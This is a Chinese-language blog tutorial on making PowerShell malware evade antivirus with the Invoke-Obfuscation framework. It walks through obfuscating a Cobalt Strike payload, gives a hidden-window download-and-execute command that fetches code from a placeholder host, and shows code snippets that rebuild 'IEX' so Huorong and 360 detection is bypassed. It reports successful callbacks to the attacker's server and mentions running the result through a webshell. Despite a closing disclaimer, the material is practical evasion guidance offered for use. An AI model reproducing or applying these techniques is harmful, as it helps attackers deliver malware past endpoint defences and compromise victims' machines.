首页 > 系统相关 >Powershell免杀系列(二)

Powershell免杀系列(二)

时间:2024-03-15 11:22:05浏览次数:43  
标签:Obfuscation 系列 免杀 Invoke Powershell Bypass ps1 powershell

powershell的免杀⽅法有很多,对代码进⾏编码是最常⻅的⼀种,这⾥介绍⼀个专⻔⽤来对powershell进⾏编码免杀的框架Invoke-Obfuscation,这也是著名的APT32组织海莲花常⽤的⼀个⼯具。

该工具可以对powershell代码进行 ASCII/hex/octal/binary/SecureString进行加密混淆。

执行如下命令,导入模块

 `Powershell -ExecutionPolicy Bypass # 管理员执行` `Import-Module .\Invoke-Obfuscation.psd1` `Invoke-Obfuscation`

报错不用管,再导入一次。

支持的加密功能列表

  • TOKEN支持部分混淆

  • STRING整条命令混淆

  • COMPRESS将命令转为单行并压缩,

  • ENCODING编码

  • LAUNCHER选择执行方式。

 help 查看参数

将刚才cs生成的payload.ps1放在刚才的文件夹

混淆文件

执行命令进行混淆

 `set scriptpath "C:\d\tools\miansha\Invoke-Obfuscation-Bypass-main\Invoke-Obfuscation-Bypass-main\Inv` `oke-Obfuscation-Bypass\payload.ps1"     # 相对路径绝对路径都可以` `token # 部分混淆` `all` `1` `out 1.ps1     # 结果输出文件`

生成文件:

使用

 powershell -windowstyle hidden 1.ps1 # 后台执行

可以过360云查杀,但但是过不了,火绒

使用全编码encoding

 `set scriptpath "C:\d\tools\miansha\Invoke-Obfuscation-Bypass-main\Invoke-Obfuscation-Bypass-main\Inv` `oke-Obfuscation-Bypass\payload.ps1"     # 相对路径绝对路径都可以` `encoding # 部分混淆` `1` `out 2.ps1     # 结果输出文件`

可以免杀360云查杀

火绒不行

实测8种encoding方法,火绒都有标记,感觉是某些特定字段hash匹配的,所以打算分析一下原理,一方面分析工具原理方便魔改,另外一方面,为了免杀。

注:测试中encoding-4 在win10上上线比较慢,要耐心等待,有请求但是没有正常上线,win7可以 ,其他方法大家自己实测。

混淆powershell语句

生成powershell

 powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/b'))"

下载并用powershell进入项目目录执行:Import-Module .\Invoke-Obfuscation.psd1;Invoke-Obfuscation如果报错请先执行:Set-ExecutionPolicy Unrestricted

输入要混淆的PS:

 set scriptblock 'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/b'))"'

输入ENCODING选择要编码的方式:

结果输出文件

 out 2.ps1     # 结果输出文件

修改

对上面生成的马可以过360 defender,但是无法过火绒

所以分析一下生成的代码,开头有个$shellid

随便改成xxx,然后就可以过360云查杀,火绒也不杀了,原来火绒是识别的这个特征

那就,打印一下$shellid,看一下是什么

发现是ie


然后打印一下$shellid,powershell是不区分大小写的,发现是从字符串Microsoft.PowerShell中取指定字符

反正就要指定字符,那可以通过如下方法进行替换

  • 变量传递过去

  • 通过函数嵌套子函数return结果传递过去

  • switch case

  • if if 嵌套

  • 两个字符xor

  • 某些函数回调

  • 等等

方法很多上面的方法可以结合一起使用,很好绕过。

简单写几个

$x='i'``$y='e'``& ( $x+$y+'X')(( ......
 `function x()``{`   `function y(){`       `return 'i'+'e'`  `}`   `return y``}``#x``& (x+'X')(( ......`
function z([int]$zz){`   `switch($zz){``   `       `1 {return 'i'+'e'}`       `Default {return 0}``   `  `}``}``#z(1)``& (z(1)+'X')(( ......

然后测试可以正常上线,环境全为联网状态

然后执行命令也没问题。

分析工具

搜索上面fuzz的特征值

发现工具是进行了一个匹配替换,可以将这些位置修改成上面的任意一种方法,这样特征可以去掉一些了,当然也可以生成后自己手动修改。

然后也可以进行自定义加密算法,对内容进行加密,然后IEX执行。

最后

工具链接:https://github.com/komomon/Invoke-Obfuscation-Bypass

文章的初衷不是为了大家知道如何去用,只会套用,因为没有永恒的免杀,而是想让大家知道其中的原理,这种语言免杀绕过的原理方法,这样大家可以将前辈的方法转化为自己的思路,我们掌握的思路将多种方法融合,就是一种新的方法。

最后说一下想法:

1 可以对这个工具进行魔改,去掉他的特征,那这个工具还可以用,当然生成后手动改也可以。

2 分析目录大家可以看出作者将每种方法都放到了一个单独的ps1文件,那么可以分析一下如何调用使用,可以将文件剥离提取出来,以后可以用在自己的免杀方式上。

大家一直说只是过静态动态上线,不能执行命令,而且即使你过了动静态查杀,无法通过调用powershell.exe去执行脚本上线,所以特意截了张图,在有火绒 360全家桶的联网环境下,通过webshell 用powershell 执行命令,上线也是可以的,方法有很多,有些方法很简单,星球的评论中有说,感兴趣的大家去星球看吧。

免责声明:

利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。

标签:Obfuscation,系列,免杀,Invoke,Powershell,Bypass,ps1,powershell
From: https://www.cnblogs.com/forforever/p/18075040

相关文章

  • MeterSphere接口自动化系列之JSONPath常用提取方式
    一、使用场景        针对接口返回结果,提取相应的信息,用于后续接口输入或用于执行结果断言,对应平台的后置操作、断言规则页签。        二、常用方式实例接口返回结果{"code":0,"data":{"cart":{"id":"34253627754......
  • 多线程系列(二十) -CompletableFuture使用详解
    一、摘要在上篇文章中,我们介绍了Future相关的用法,使用它可以获取异步任务执行的返回值。我们再次回顾一下Future相关的用法。publicclassFutureTest{publicstaticvoidmain(String[]args)throwsException{longstartTime=System.currentTimeMillis()......
  • Python爬虫实战系列3:今日BBNews编程新闻采集
    一、分析页面打开今日BBNews网址https://news.bicido.com,下拉选择【编程】栏目1.1、分析请求F12打开开发者模式,然后点击Network后点击任意一个请求,Ctrl+F开启搜索,输入标题ApacheDoris2.1.0版本发布,开始搜索搜索结果显示直接返回的json格式,那就soeasy了,直接copycurl,......
  • Windows压缩文件可以用 PowerShell中的Compress-Archive
    压缩单个文件Compress-Archive-Path"D:\tmp\test.txt"-DestinationPath"D:\tmp\test.zip"压缩多个文件Compress-Archive-Path"D:\tmp\test.txt","D:\tmp\test2.txt"-DestinationPath"D:\tmp\test2.zip"压缩文件夹Comp......
  • Windows powershell的初步学习使用第二课
           今天我们来学习Windowspowershell的指令。       上指令(参数为cmdlet):get-executionPolicy        作用为查询当前执行策略。       结果有以下几种情况:Restricted:脚本不能运行(默认设置)RemoteSigned:在本地创建脚本可以运行,但从......
  • 滴水逆向笔记系列-c语言总结6-20.多级指针 数组指针 函数指针-21.位运算-22.内存分配
    第二十课c语言13多级指针数组指针函数指针1.多级指针反汇编一二级指针可以看到p1==*(p1+0)==p1[0]本来一直没想懂为什么是movsxecx,byteptr[eax],是byte,才发现p1是char类型,所以才得用movsx拓展(p1+2)==p1[2],指针可以用和[]取值,他们是一样的(((p3+1)+2)+3)==p3[......
  • ESP32系列乐鑫官方常见资料汇总
    ESP32系列乐鑫官方常见资料汇总技术文档|乐鑫科技(espressif.com)ESP32系列32-bitMCU&2.4GHzWi-Fi&Bluetooth/BluetoothLE两个或一个可以单独控制的CPU内核,时钟频率可调,范围从80MHz到240MHz+19.5dBm天线端输出功率,确保良好的覆盖范围传统蓝牙支持L2CA......
  • 【AIGC调研系列】Github Copilot进行pytest自动化测试的实践经验
    GitHubCopilot可以用于pytest自动化测试的实践和使用方法。此外,Copilot可以在很多情况下仅通过注释或函数名就能实例化出完整的代码,这表明它也可以用于补充测试用例[5]。具体到pytest框架,它是一个非常容易上手的自动化测试框架,具有丰富的资料文档和第三方插件,可以自定义扩展......
  • 滴水逆向笔记系列-c语言总结4-15.switch语句反汇编-16.指针1-17.指针2
    第十五课c语言8switch语句初步测试感觉switch在反汇编的语句和if语句的唯一差别就是jcc语句比较集中当分支大于四条时,switch的反汇编开始变3为switch传入的值,1是case最小值,4是case最大值减1,算出偏移量后通过偏移量4加上基址就可以在大表中获取要输出的case语句的地址当现在case......
  • 滴水逆向笔记系列-c语言总结5-
    第十八课c语言11字符串与数组这一节课b站缺失了,参考一下大佬的笔记学习,链接:https://blog.csdn.net/Edimade/article/details/124446533?spm=1001.2014.3001.55021.字符数组:::infochararr[10]={'A','B','C','D','E','F'};//编译器默认在结尾添加......